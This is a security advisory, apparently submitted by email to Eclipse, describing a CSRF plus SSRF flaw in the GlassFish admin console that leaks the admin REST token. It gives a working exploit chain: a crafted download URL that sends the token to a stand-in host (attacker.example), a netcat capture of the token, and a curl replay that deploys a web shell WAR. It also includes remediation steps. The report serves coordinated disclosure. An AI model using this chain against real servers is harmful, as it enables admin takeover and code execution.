[Eclipse Glassfish] Critical CSRF + SSRF in admingui DownloadServlet leaks admin gfresttoken (CVSS 9.6) (#442)
From ML:
---
Dear Team,
Hope you are doing well. I am reporting a security issue through this email in GlassFish. The report has been presented below.
# Eclipse GlassFish — Security Advisory Submission
Target: https://github.com/eclipse-ee4j/glassfish (master / 8.0.2 / 8.0.3-SNAPSHOT)
Discovered: 2026-05-20
Reporter: Sujal Tuladhar (sujaltuladhar1231@gmail.com)
## Title
CSRF + SSRF in DownloadServlet ContentSources leaks the admin `gfresttoken` to attacker-controlled host -> full unauthenticated takeover of Eclipse GlassFish admin domain.
## Severity
Critical -- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H = 9.6
- Attack Vector: Network -- reachable from any network the admin browser can reach
- Attack Complexity: Low -- one crafted URL, no race / no exotic state
- Privileges Required: None -- attacker holds no GlassFish credential
- User Interaction: Required -- admin must load the attacker URL once while logged in
- Scope: Changed -- steals an out-of-band credential (REST token) that lets the attacker act as admin from any host until token expiry
- C / I / A: High / High / High -- after token theft, attacker deploys arbitrary WAR -> arbitrary code execution as the GlassFish process user
## Affected component
org.glassfish.main.admingui:console-common -- DownloadServlet (/download/*) and four registered ContentSource implementations:
- org.glassfish.admingui.common.servlet.LogViewerContentSource (id "LogViewer")
- org.glassfish.admingui.common.servlet.LogFilesContentSource (id "LogFiles")
- org.glassfish.admingui.common.servlet.LBConfigContentSource (id "LBConfig")
- org.glassfish.admingui.common.servlet.ClientStubsContentSource (id "ClientStubs")
All four classes take an attacker-supplied `restUrl` request parameter, construct an endpoint from it, and let the Jersey client `JERSEY_CLIENT.target(endpoint)` issue an HTTP request to it -- with the admin user's `gfresttoken` attached as a Cookie header.
The servlet is reachable at the admin listener (port 4848 by default) under the admin GUI war's root context. Web app web.xml requires the `admin` role on /*, but ordinary same-site CSRF gets us past that: a logged-in admin who loads the attacker URL in a browser session ships the admin session cookie automatically.
## Root cause (code)
appserver/admingui/common/src/main/java/org/glassfish/admingui/common/servlet/LogViewerContentSource.java:57-70
HttpServletRequest request = (HttpServletRequest) ctx.getServletRequest();
String restUrl = request.getParameter("restUrl"); // attacker-controlled
String start = request.getParameter("start");
String instanceName = request.getParameter("instanceName");
InputStream tmpFile = null;
try {
String endpoint = restUrl + "/view-log/"; // concat into URL
Map<String, Object> attrsMap = new HashMap<String, Object>();
attrsMap.put("start", start);
attrsMap.put("instanceName", instanceName);
Response cr = RestUtil.getRequestFromServlet(request, endpoint, attrsMap);
appserver/admingui/common/src/main/java/org/glassfish/admingui/common/util/RestUtil.java:791-799
public static Response getRequestFromServlet(HttpServletRequest request, String endpoint, Map<String, Object> attrs) {
String token = (String) request.getSession().getAttribute(AdminConsoleAuthModule.REST_TOKEN);
WebTarget target = targetWithQueryParams(JERSEY_CLIENT.target(endpoint), attrs);
Response cr = target
.request().cookie(new Cookie(REST_TOKEN_COOKIE, token)) // <-- sent OUTBOUND to attacker URL
.get(Response.class);
return cr;
}
REST_TOKEN_COOKIE is the literal "gfresttoken" -- the same cookie name accepted by the admin REST API (nucleus/admin/util/.../AdminCallbackHandler.java:60 and nucleus/admin/rest/.../RestAdapter.java:89). Possession of the token = ability to call /management/* as the admin until the token's `chooseTimeout` (default 30 minutes) elapses.
The other three content sources have the identical pattern:
- LogFilesContentSource.java:62-77 -- restUrl + "/collect-log-files", RestUtil.postRestRequestFromServlet(...)
- LBConfigContentSource.java:71-86 -- restUrl + "/load-balancers/load-balancer/" + lbName + "/export-http-lb-config", RestUtil.postRestRequestFromServlet(...)
- ClientStubsContentSource.java:62-76 -- restUrl + "/applications/application/" + appName + "/get-client-stubs", RestUtil.getRestRequestFromServlet(...)
There is no validation that the URL points to the local DAS, no allow-list of hosts, no scheme restriction, and no CSRF token check on DownloadServlet (DownloadServlet.java:139-165).
## Exploit chain
1. Attacker hosts http://attacker.example/ and sends the admin this link:
http://glassfish-host:4848/download
?contentSourceId=LogViewer
&restUrl=http://attacker.example
&start=0
&instanceName=server
2. Admin loads it while logged into the admin console. The container authorizes (admin role).
DownloadServlet.doGet -> LogViewerContentSource.getInputStream -> RestUtil.getRequestFromServlet.
Server issues:
GET http://attacker.example/view-log/?start=0&instanceName=server
Cookie: gfresttoken=<admin's live REST token>
3. Attacker logs the token, replays it from anywhere:
curl -sk "http://glassfish-host:4848/management/domain/applications/application" \
-H "Cookie: gfresttoken=<stolen>" \
-H "X-Requested-By: GlassFish REST HTML interface" \
-F id=@/tmp/shell.war \
-F contextroot=/shell \
-F name=shell
WAR deploys -> RCE as the GlassFish process user. The token survives admin password rotation, browser close, etc., until idle timeout.
## Why this is distinct from known CVEs
- CVE-2024-9408 ("SSRF in console-common", <= 6.2.5) is listed as fixed in 7.x and 8.x, but the very same `restUrl`+`gfresttoken` sink still exists verbatim in 8.0.2 / master (HEAD 6cab4ce3aa). Either the original patch was applied to a different sibling, or the regression was reintroduced -- in either case the four ContentSource classes are unpatched on the current release. `git log --all` on those four files shows zero security-flavored commits, only formatting / Jakarta-namespace moves.
- CVE-2024-9329 / CVE-2024-7312 (Host header / management redirect) only redirected the browser; they did not leak the REST token.
- CVE-2026-2586 is an already-authenticated admin RCE; this finding requires NO admin credential -- just one logged-in admin victim -- and yields the same end state plus credential persistence.
- CVE-2026-2587 is the gadget-handler EL injection (gadget.jsf + GadgetHandlers.java); different sink, different bug class.
## Reproduction (live, end-to-end)
Tested against the GlassFish 8.0.2 binary distribution and master at 6cab4ce3aa. Domain started on portbase 14000 (admin listener 14848). Logged in via POST /j_security_check with default `admin` / empty password. With `nc -lk 17777` running on the attacker side, triggered:
GET /download/log/?contentSourceId=LogViewer&restUrl=http://127.0.0.1:17777&start=0&instanceName=server
Cookie: JSESSIONID=<admin's session>
Captured verbatim:
GET /view-log/?instanceName=server&start=0 HTTP/1.1
Cookie: $Version=1;gfresttoken=3cab0931c0eedd15953cd927e5925e0fd
User-Agent: Jersey/4.0.2 (HttpUrlConnection 21.0.10)
Host: 127.0.0.1:17777
Replayed:
$ curl http://localhost:14848/management/domain \
-H "Cookie: gfresttoken=3cab0931c0eedd15953cd927e5925e0fd"
HTTP/1.1 200 OK
<full admin REST listing -- deploy, change-admin-password, osgi, ...>
## Remediation
1. Allow-list `restUrl` to the local DAS -- better, derive REST base server-side from serverContext and ignore the request parameter.
2. Stop attaching `gfresttoken` to outbound requests in RestUtil.getRequestFromServlet / postRestRequestFromServlet / siblings unless the target host matches the configured DAS.
3. Add CSRF protection (X-Requested-By or token + origin check) to DownloadServlet.
Patch sketch:
String restUrl = request.getParameter("restUrl");
URI parsed = URI.create(restUrl);
if (!"localhost".equals(parsed.getHost()) && !"127.0.0.1".equals(parsed.getHost())) {
throw new SecurityException("restUrl must target the local DAS");
}
## Disclosure intent
Submitted via security@eclipse-foundation.org because GitHub Private Vulnerability Reporting is disabled on eclipse-ee4j/glassfish (the /security/advisories/new form returns HTTP 403). Non-revealing tracking issue is open at https://github.com/eclipse-ee4j/glassfish/issues/26035. Happy to coordinate on a fix window and CVE assignment.
Thanks,
Sujal Tuladhar
sujaltuladhar1231@gmail.com
issue